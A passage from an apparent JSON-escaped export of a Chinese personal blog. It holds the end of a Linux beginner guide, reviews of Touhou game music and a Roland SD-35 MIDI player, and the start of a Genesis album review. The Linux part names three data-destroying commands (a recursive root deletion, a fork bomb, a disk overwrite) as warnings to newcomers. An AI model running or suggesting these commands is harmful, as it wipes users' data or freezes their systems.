了Linux的安全。但如果你们提权了,稀里糊涂地从网上随便贴个危险命令,那就出大事了,比如说:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003esudo rm -rf /*\u003c/code\u003e 臭名昭著的自杀命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e:(){:|:\u0026amp;};:\u003c/code\u003e 可理解为不停调用自己,把电脑卡死\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewhatever-command \u0026gt; /dev/sdaX\u003c/code\u003e 直接用该命令的输出覆写到磁盘上,你的硬盘毁了\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对于Linux而言,不要执行来路不明的程序,也是适用的。\u003cbr/\u003e\n以上说到的,都算是Linux的“病毒”了。希望大家使用的时候一定要小心。\u003c/p\u003e\n\u003ch2 id=\"还有没说到的上网查资料优雅地问问题\"\u003e还有没说到的,上网查资料/优雅地问问题\u003c/h2\u003e\n\u003cp\u003e我前面说过,这里给的东西,都是一些抛砖引玉的东西。如果没有你需要的,首先,我深感歉意:-(\u003cbr/\u003e\n去互联网看看,或者找其他大佬吧,他们一定比我博学多了,不过普遍喜欢使用狗头:-P\u003cbr/\u003e\n(我看到有人经常发狗头的时候,会过敏,我不知道他是不是在嘲讽我)\u003c/p\u003e\n\u003ch3 id=\"提高英语水平\"\u003e提高英语水平\u003c/h3\u003e\n\u003cp\u003e这很关键!因为系统输出的东西都是英文的,而且你目前接触到的所有互联网资源,尤其是跟Linux相关的资源,都是英语的。实在看不懂,多用谷歌翻译吧。\u003c/p\u003e\n\u003ch3 id=\"查看报错输出\"\u003e查看报错输出\u003c/h3\u003e\n\u003cp\u003e报错输出是查错的时候,非常有用的资源。通过阅读它,你能很快明白问题的根源,并进行针对性的上网,搜索解决方案。这里给个例子。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\" loading=\"lazy\" alt=\"他想装一个软件,卡在这里了\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e他想装一个软件,卡在这里了\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e看到那行E了吗,那个就是报错输出。他报错说,仓库没有找到Release文件。\u003cbr/\u003e\n这样,会修的就知道怎么修了,不会修发给别人,他也能快速帮助你。他的问题是没有完整添加软件源,导致系统不知道跑哪里下载软件安装包。\u003c/p\u003e\n\u003ch3 id=\"怎么提供信息\"\u003e怎么提供信息\u003c/h3\u003e\n\u003cp\u003e有些时候,上网搜也搜不到解决方案,这时我们就需要求助于人了。对于初学者来说,这很正常。\u003cbr/\u003e\n为了节省双方的时间,请各位在上网实在找不到解决方案的时候,再去求助他人。在询问问题的时候,请尽量提供详细的信息。\u003cbr/\u003e\n比如,你的输入法没有拼音输入,你应该提供你系统的截图和设置选项。这比直接问“我的输入法没法输入中文”好多了。\u003c/p\u003e\n\u003ch3 id=\"不要过于依赖别人\"\u003e不要过于依赖别人!\u003c/h3\u003e\n\u003cp\u003e我知道对于初学者而言,有些问题搞不明白,得经常求助别人。这个很正常,我也是这么过来的。但是,解决问题后,你应该从中学到一些东西。如果你一直停留在出现问题-询问问题-解决问题的惯性中,你很难学的好。所以,不要过分依赖他人!要学会自己解决问题,逐渐学到更多。而且,人都是有七情六欲的,你一直问,会把人问烦的。\u003c/p\u003e\n\u003ch2 id=\"为什么我不推荐大家使用linux当作日常系统\"\u003e为什么我不推荐大家使用Linux当作日常系统\u003c/h2\u003e\n\u003cp\u003e嘿嘿嘿,看完了是不是很迷糊,那就快跑!\u003cbr/\u003e\n记住这些,一定要让那些冲动的人们不要踏进来!\u003c/p\u003e\n\u003ch3 id=\"专业软件太少\"\u003e专业软件太少\u003c/h3\u003e\n\u003cp\u003e举两个例子:我高二的时候,有一会需要剪视频,使用Openshot,结果用起来没有Premiere方便不说,还经常崩溃,我被迫装回Windows,使用Premiere。然后是我刚买来新手机的时候,我刷机失败,需要救砖。但是救砖软件是Windows独占,在我用虚拟机救砖失败后,我被迫装回Windows来救砖。\u003cbr/\u003e\n所以说,如果你有十分专业的需求,比如剪视频、重度办公、机床控制、3D游戏之类的话,Linux并不适合你。\u003c/p\u003e\n\u003ch3 id=\"社区风气极差\"\u003e社区风气极差\u003c/h3\u003e\n\u003cp\u003e我最后为啥要给各位介绍如何优雅问问题/上网搜资料呢?因为Linux社区对小白很不友好。这里直接贴上《提问的智慧》的最后一段:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如何更好地回答\u003cbr/\u003e\n态度和善一点。问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。\u003cbr/\u003e\n对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找 FAQ 都不知道。\u003cbr/\u003e\n如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来象个专家好玩就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。\u003cbr/\u003e\n如果帮不了忙,别妨碍。 不要在具体步骤上开玩笑,那样也许会毁了用户的安装──有些可怜的呆瓜会把它当成真的指令。\u003cbr/\u003e\n探索性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西──你也可以。试试将很差的问题转变成好问题,别忘了我们都曾是新手。\u003cbr/\u003e\n尽管对那些懒虫报怨一声“读读该死的手册”(RTFM)是正当的,指出文档的位置(即使只是建议做个谷歌关键词搜索)会更好。\u003cbr/\u003e\n如果你决意回答,给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计,应推荐更好的工具,重新组织问题。\u003cbr/\u003e\n帮助你的社区从中学习。当回复一个好问题时,问问自己 “如何修改相关文件或 FAQ 文档以免再次解答同样的问题?”,接着再向文档维护者发一份补丁。\u003cbr/\u003e\n如果你是在研究一番后才做出的回答,展现你的技巧而不是直接端出结果。毕竟“授人以鱼,不如授人以渔”。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在我们的社区,这样的人很少,而且我去Bilibili上面看了,很多都是炫技/营销号:-P\u003cbr/\u003e\n希望大佬们好好看看这里吧。\u003c/p\u003e\n\u003ch3 id=\"这是幽幽子使用的系统\"\u003e这是幽幽子使用的系统\u003c/h3\u003e\n\u003cp\u003e这个无需多言,我们凡人使用了她用过的系统,岂不是要折寿?\u003cbr/\u003e\n摘自zh.moegirl.org:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e幽幽子平时使用Debian GNU/Linux,因为天冠上的标志与Debian GNU/Linux极为类似。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e以此类推,灵梦用的是Ubuntu,魔理沙使用的就是Arch Linux了吧233\u003c/p\u003e\n\u003ch2 id=\"推荐读物\"\u003e推荐读物\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md\" target=\"_blank\" rel=\"noopener\"\u003e提问的智慧\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://lvris.com/p/resource-search/\" target=\"_blank\" rel=\"noopener\"\u003e由书名号同志编写的资源搜索指南\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://wiki.archlinux.org/\" target=\"_blank\" rel=\"noopener\"\u003eArch Linux Wiki\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.vbird.org/\" target=\"_blank\" rel=\"noopener\"\u003e鸟哥的私房菜\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e感谢大家阅读,希望这个文章能帮助大家适应Linux。我提到的很多东西,在Windows下也适用呢。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/linux-in-quick-run.html"},{"title":"The Embodiment of Scarlet Devil专辑推广材料","time":"2021-11-05T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/IiZ6PgFa1C73SnX.jpg\" alt=\"Featured image of post The Embodiment of Scarlet Devil专辑推广材料\"/\u003e\n\n\n\n\n\n \n\n\n\u003cdiv class=\"video-wrapper\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV1Wq4y1f7h7\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n \u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cp\u003e本人最近被一群可爱的女孩子找上门来,称自己叫Gensokyo Band,想让我发行一张专辑。我说:我又不是音乐厂商,为啥要找我呢?她们说我肯定识货,直接把母带给我,然后就走了。母带上面写着:The Embodiment of Scarlet Devil。抱着怀疑的心态,我把母带放入了机器里面听,兴许是某种King Crimson首专的仿制品。\u003c/p\u003e\n\u003cp\u003e然而,一开始的感觉并不是这样。这张专辑貌似十分的舒缓,钢琴的声音也很明亮。后面的基本也是这样,钢琴和电子琴一直是最主要的乐器,还有十分抓人耳朵的小号。演奏的很多旋律,都有一种说不上来的熟悉感和陌生感。但是摇滚的特征也很多,比如很多地方快速的吉他演奏,就跟Hackett在Hogweed那首歌开始部分的吉他演奏一样,让人印象深刻。而电子琴高昂的旋律,跟Jon Lord的电子风管琴一样,推动了音乐节奏的发展。怎么说呢,我觉得对于听多了ELP那种表面很好听,实际很古板的音乐之后,突然给我这种难以解释的音乐,还真的很难形容。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cp\u003e整张专辑主要分为四个部分:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 标题曲: A Dream that is More Scarlet than Red\n第一部分:湖面上一缕清晨的阳光:\n 2. A Soul as Scarlet as a Ground Cherry\n 3. Apparitions Stalk the Night\n 4. Lunate Elf\n 5. Tomboyish Girl in Love\n第二部分:思绪万千的女孩子:\n 6. Shanghai Scarlet Teahouse ~ Chinese Tea\n 7. Shanghai Alice of Meiji 17\n 8. Voile, the Magic Library\n 9. Locked Girl ~ The Girl\u0026#39;s Sealed Room\n第三部分:打工人忙碌的一天:\n 10. The Maid and the Pocket Watch of Blood\n 11. Lunar Clock ~ Luna Dial\n第四部分:绯红恶魔的出现:\n 12. The Young Descendant of Tepes\n 13. Septette for a Dead Princess\n 14. The Centennial Festival for Magical Girls\n 15. U.N. Owen Was Her?\n16. 结束曲:An Eternity More Transient than Scarlet\n17. 回响曲:Scarlet Tower ~ Eastern Dream...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"第一部分1-5\"\u003e第一部分(1-5)\u003c/h2\u003e\n\u003cp\u003e第一部分主要是十分舒缓的节奏,像许多田园那样十分清爽。这部分的歌曲节奏十分鲜明。第二首和第四首应该是4/2拍,是进行曲那样的节奏。这样的节奏,代入的话,就是一种吸引人们过来欣赏,然后让人呆住听的感觉。除了第三首外,这一部分的鼓声也很鲜明,和跳跃的贝斯配合,像是一个人走在丛林里面探险。我觉得在某种意义上,算是把小号渲染环境的风头给抢去了。第三首我觉得有点平平了,开头像是注册机音乐:-P\u003c/p\u003e\n\u003ch2 id=\"第二部分6-9\"\u003e第二部分(6-9)\u003c/h2\u003e\n\u003cp\u003e第二部分最明显的特征是节奏的逐渐加快和旋律的加重。这里的“加重”,是指旋律逐渐变得很空广,给人一种开阔的感觉,没有第一部分那样的舒缓了。很明显,这是合成器的功劳,流行音乐很喜欢那种开阔的音乐。从Bee Gees 1st到ABBA,再看看Whenever You Need Somebody和吻别之类的, 在垃圾电音之前,很多流行歌曲都是这样的。这里有个例外,就是第八首,大致是回到了第一部分那样的舒缓和探索风格了。由于第九首结构十分复杂,并且很有史诗的味道,所以第八首这么处理,有点“大的要来了”那种感觉。\u003cbr/\u003e\n还记得一开始说的快速吉他演奏吗?这就是第九首一开始的样子。这首音乐结构复杂,让我想到了很多我听过的曲子。干脆给个结构,你们各位自己联想吧:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e开始的合奏 –\u0026gt; Deep Purple: Gypsy’s Kiss 开始部分 –\u0026gt;\nGenesis: Return of Giant Hogweed 快速Riff –\u0026gt; King Crimson: Epitath 中间的和声 –\u0026gt;\n开始的合奏 –\u0026gt; 爵士味道的合奏 –\u0026gt; 结束\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e(插一句:我没听过多少爵士乐的东西,但很多前卫摇滚专辑的爵士乐色彩都很浓吧:-P)\u003c/p\u003e\n\u003ch2 id=\"第三部分10-11\"\u003e第三部分(10-11)\u003c/h2\u003e\n\u003cp\u003e第三部分可以说是最差的部分。都是因为第十一首,我觉得就是把You Really Got Me的Riff直接搬过来用了(Deep Purple的Drifter也是,可能这是某种通用Riff?),而且十分刺耳,十分混乱,很明显混音师并没有完好地把各个乐器的占比给平衡好。第十首实际上还行吧,但前面已经有很多类似风格的歌曲了,再来一个没啥特点的类似歌曲,未免让人有点审美疲劳。你们知道听多了ELP的Karn Evil No 9之后是啥感觉吗,怎么他们花了7分钟不停地重复相同的东西呢?\u003c/p\u003e\n\u003ch2 id=\"第四部分结尾12-1516-17\"\u003e第四部分\u0026amp;结尾(12-15+16-17)\u003c/h2\u003e\n\u003cp\u003e第四部分,终于有点新的东西了。在第一部分,第二部分特点的基础上,将摇滚的节奏,爵士的味道和古典的气息融合得最好。\u003cbr/\u003e\n上来第十二首,钢琴爵士的味道简直太浓了,而歌曲开始又是第一部分那样的节奏。第十三首彻底就是一个古典钢琴曲的改编,名称叫《悼念公主的帕凡舞曲》(谁知道《让我们荡其双桨》是不是借鉴了这个)。然而这个改编节奏太快,我第一时间还没反应过来,后来才回过味来,而后面的部分加上了合奏。比起原先曲子的忧伤,这个改编挺让人热血沸腾的。第十四首总体来说,有点迷幻了。开头的部分是The Doors的Strange Days,至少让我体现了那种感觉,后面的部分又回到了这张专辑一贯的爵士合奏风格:-P第十四首,可以说重金属感觉了出来,任何一个乐符都很干脆利落,有点让人喘不过气来。\u003c/p\u003e\n\u003cp\u003e那最后一首呢,我觉得很有创意。虽然是第一首的再奏,但是它使用了敲击出来的音乐,还挺让人耳目一新的。\u003cbr/\u003e\n我还想插一句,最后的回响曲在这里,我觉得意义不明。\u003c/p\u003e\n\u003ch2 id=\"和in-the-wake-of-the-poseidon对位\"\u003e和In the Wake of the Poseidon对位\u003c/h2\u003e\n\u003cp\u003e我看着张专辑的编排,确实有点像King Crimson的专辑,不过是第二张,再列个表吧,列出部分曲目的对位关系:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDevil\u003c/th\u003e\n\u003cth\u003ePoseidon\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e1. A Dream that is More Scarlet than Red\u003c/td\u003e\n\u003ctd\u003eA1. Peace: A Beginning\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e2. A Soul as Scarlet as a Ground Cherry\u003c/td\u003e\n\u003ctd\u003eA2. Picture of a City\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e4. Lunate Elf\u003c/td\u003e\n\u003ctd\u003eA3. Cadence And Cascade\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e9. Locked Girl ~ The Girl’s Sealed Room\u003c/td\u003e\n\u003ctd\u003eA4. In the Wake of the Poseidon\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e10. The Maid and the Pocket Watch of Blood\u003c/td\u003e\n\u003ctd\u003eB2. Cat Food\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e12. The Young Descendant of Tepes\u003c/td\u003e\n\u003ctd\u003eB3a. The Devil\u0026#39;s Triangle\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e13. Septette for a Dead Princess\u003c/td\u003e\n\u003ctd\u003eB3b. Merday Morn\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e14. The Centennial Festival for Magical Girls\u003c/td\u003e\n\u003ctd\u003eB3c. Hand Of Sceiron\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e15. U.N. Owen Was Her?\u003c/td\u003e\n\u003ctd\u003eB3d. Garden Of Worm\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e16. An Eternity More Transient than Scarlet\u003c/td\u003e\n\u003ctd\u003eB4. Peace: An End\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结寻人启事\"\u003e总结+寻人启事\u003c/h2\u003e\n\u003cp\u003e总体来说,这张专辑虽然说爵士味道很浓,但是无论从音乐编排,很多新颖的编排来说,前卫摇滚的因素十分的多。虽然也有少部分歌曲风格重复,审美疲劳,总体还是比ELP,Yes这样僵化的乐队好听多了。对比某个写英国内战时某个亲王的专辑来说,更是好到不知道到哪里去了。\u003c/p\u003e\n\u003cp\u003e不过,我还是不明白她们为啥找我发行。不过我既然有b站帐号,我就给放出来了,看样子反响不错。她们也没再找我,不过他们一开始给的母带上面写着他们叫有些信息,我就根据那个,根据记忆,画了她们的样貌,希望她们还能回来,找我结帐。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e补充:有时多瞎想点东西,还是很好的呢:-)希望大家喜欢看这样的音乐评测,可能以后有些音乐专辑,我就引入她们的设定了233\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://zh.touhouwiki.net/wiki/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1/%E9%9F%B3%E4%B9%90\" target=\"_blank\" rel=\"noopener\"\u003eTouhouwiki 上面的介绍\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Ai4y1b7LJ\" target=\"_blank\" rel=\"noopener\"\u003eSC-88 Pro 合成版 @pingatsky\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Wq4y1f7h7\" target=\"_blank\" rel=\"noopener\"\u003eSD-35 (约等于SC-55) 合成版 @SuperBart\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1904\" target=\"_blank\" rel=\"noopener\"\u003eIn the Wake of Poseidon 在 Prog Archive 上的评论\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/gensokyo-band-promotion-file.html"},{"title":"Roland SD-35 MIDI 播放器评测","time":"2021-09-05T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" alt=\"Featured image of post Roland SD-35 MIDI 播放器评测\"/\u003e\u003cp\u003e我一直想要一个硬音源,所以我搞来了这台Roland SD-35 MIDI播放器。因为这是闲鱼上我所找到的最便宜,也是最具特点的Roland MIDI设备。这台机器吸引我的地方,就是其能播放软盘里的MIDI音乐。不过这个机器当音源是真的不行,不过情有可原。接下来,我给大家详细介绍这个机器。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" loading=\"lazy\" alt=\"开学才一周,桌面就很乱了:-P\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e开学才一周,桌面就很乱了:-P\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"part-1历史背景\"\u003ePart 1:历史背景\u003c/h2\u003e\n\u003cp\u003eRoland公司在1991发布了Roland SC-55 MIDI硬音源,将高品质MIDI音源给大众化了。很多游戏音乐,比如《毁灭战士》的音乐,就是用SC-55写的。之后,Roland在1993年发布了SC-55 MK II,算是一个小幅升级版。1994年则是SC-50,较SC-55 MK II砍掉了MT-32模拟功能,并且只有一个MIDI输入接口。\u003c/p\u003e\n\u003cp\u003e在1993年,SD-35 MIDI播放器问世,本质上就是SC-50,不过加了一个软盘播放器。它还有一个姐妹型号,SB-55。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\" loading=\"lazy\" alt=\"上图来源:Wikipedia “Roland Sound Canvas”\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e上图来源:Wikipedia “Roland Sound Canvas”\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"part-2作为一个midi播放器\"\u003ePart 2:作为一个MIDI播放器\u003c/h2\u003e\n\u003cp\u003e这个机器最主要的功能,就是播放MIDI文件。播放的话,有两种方式:一种是通过软盘播放,一种是通过MIDI线缆输入。它前面板上有一个软驱,插入720K软盘后,如果是空盘,它可以给格式化,如果有标准MIDI文件的话,它就会播放。另外一种,就是通过MIDI线缆,传入信号并播放,或者录制MIDI信号到软盘。\u003c/p\u003e\n\u003cp\u003e这个机器的主打功能是软盘MIDI播放和MIDI信号录制,所以这两个我就不说了。前面的使用完美,后面的我没有条件测试。而后者呢,算是这个机器的弱项。经常传输信号的时候,机器报缓存已满。根据说明书,机器由于传入太多的MIDI信号而无法处理。说明书还建议把Soft Thru关掉,因为这玩意占着资源,但这样我就听不到音乐了。我根据群友的建议,用TMIDI播放器调整了传输速率,但还是不行。这类情况在传输一些复杂的MIDI信号的时候,十分明显。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\" loading=\"lazy\" alt=\"bFL = buffer FULL\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003ebFL = buffer FULL\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e这个机器,由于本质是SC-55,所以合成的音效嘛,就是SC-55的样子。但是这也带来了一个问题,就是对于一些面向SC-88编写的MIDI音乐,可能合成会有问题。我在用机器播放《东方红魔乡》的MIDI音乐(GS标准,面向SC88Pro编写)时,经常看到地址报错,而且有一首歌,把最后部分的长音小号给合成错了。\u003c/p\u003e\n\u003cp\u003e这个机器还有一个功能,就是GM标准和GS标准之间的转换。当然,其他的音源估计也有。这两个标准合成的音乐有些许不同,值得注意。\u003c/p\u003e\n\u003cp\u003e这台机器还有很多其他功能,诸如只播放一个通道之类,这里我就不说了,对我而言实用性不强。\u003c/p\u003e\n\u003ch2 id=\"part-3这台机器到底是用来干啥的\"\u003ePart 3:这台机器到底是用来干啥的?\u003c/h2\u003e\n\u003cp\u003e根据上面的用途和说明书上的提示,我觉得这个机器不是面向MIDI音乐编写/播放设计的,而是面向现场播放用途设计的。这里我放上该机器的后面板。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\" loading=\"lazy\" alt=\"由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你们可以看到,这里除了MIDI接口,还有两对6.5mm接口。一对接收输入信号,一对向外输出信号。最左侧还有输入电平调节,分别是吉他,麦克风和线缆输入。可见,这个机器可以输入信号,然后和软盘音乐混合后输出。对于做Genesis那样的流行电音来说,还挺有用的呢。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\" loading=\"lazy\" alt=\"说明书上关于输入设备的演示\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e说明书上关于输入设备的演示\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e至于为啥我前面说当音源不行,但是情有可原。一方面,这个机器要录制MIDI的话,一般接的是键盘啥的。键盘我觉得,再怎么折腾,也不会超过三个频道吧,估计它的处理能力也就这样了。另外一个方面,说明书暗示,传入MIDI信号相比软盘播放,机器得处理更多的东西,所以我觉得,可能是算力不够+缓存被砍的原因。\u003c/p\u003e\n\u003cp\u003e(还有一方面,估计我买的MIDI线很垃圾。那家的评论有一些差评,不过由于我买了这个机器,存款接近告罄,只能在这方面省钱了:-P)\u003c/p\u003e\n\u003ch2 id=\"part-4我对这台机器的看法\"\u003ePart 4:我对这台机器的看法\u003c/h2\u003e\n\u003cp\u003e虽然我买这个机器的目的是为了当音源,而这方面,机器可谓是相当不合格。但是,这个机器的特点很鲜明,还有很多的可玩性。我可以用这个机器水做很多的演示视频呢。而且这个机器涉及到了软盘,我也在Linux下体验了格式化软盘,没有某些人说的那么离谱啊。\u003c/p\u003e\n\u003cp\u003e不过既然不能当音源,我还要攒一年的钱,买一个SC-88去:-P(卖溢价二手货的都给我下地狱吧)\u003c/p\u003e\n\u003ch2 id=\"part-5相关计划\"\u003ePart 5:相关计划\u003c/h2\u003e\n\u003cp\u003e根据之前的投票结果和我的个人意愿,下期MIDI演示视频,我要用《红魔乡》的音乐演示,经由软盘播放。然后是《毁灭战士II》,经由MIDI线。可能还会用《RoTT》和《Heretic》的部分音轨出一个bug演示视频。制作方面呢,我要改MIDI,录制,画封面啥的。所以各位耐心等着吧:-P\u003c/p\u003e\n\u003cp\u003e进度视我的课程难度和我陷入不合理竞争的深度而定:-(\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/roland-sd-35-midi-player-review.html"},{"title":"Genesis - A Trick of the Tail 听后感","time":"2021-08-15T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" alt=\"Featured image of post Genesis - A Trick of the Tail 听后感\"/\u003e\u003cp\u003e作为前Deep Purple粉丝,现在的Genesis粉丝,如果我要给别人推荐Genesis专辑的话,我会先推荐这张专辑。因为这张专辑的旋律性好,概念性没那么强,听着没有Sell和Lamb那样,又累又难以理解。而且这张专辑的封面也很有意思,很多的人对应着专辑里的歌曲。\u003c/p\u003e\n\u003ch2 id=\"关于封面\"\u003e关于封面\u003c/h2\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" loading=\"lazy\" alt=\"Copyright 1976 Hignosis \u0026amp; C. Elgie\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eCopyright 1976 Hignosis \u0026amp; C. 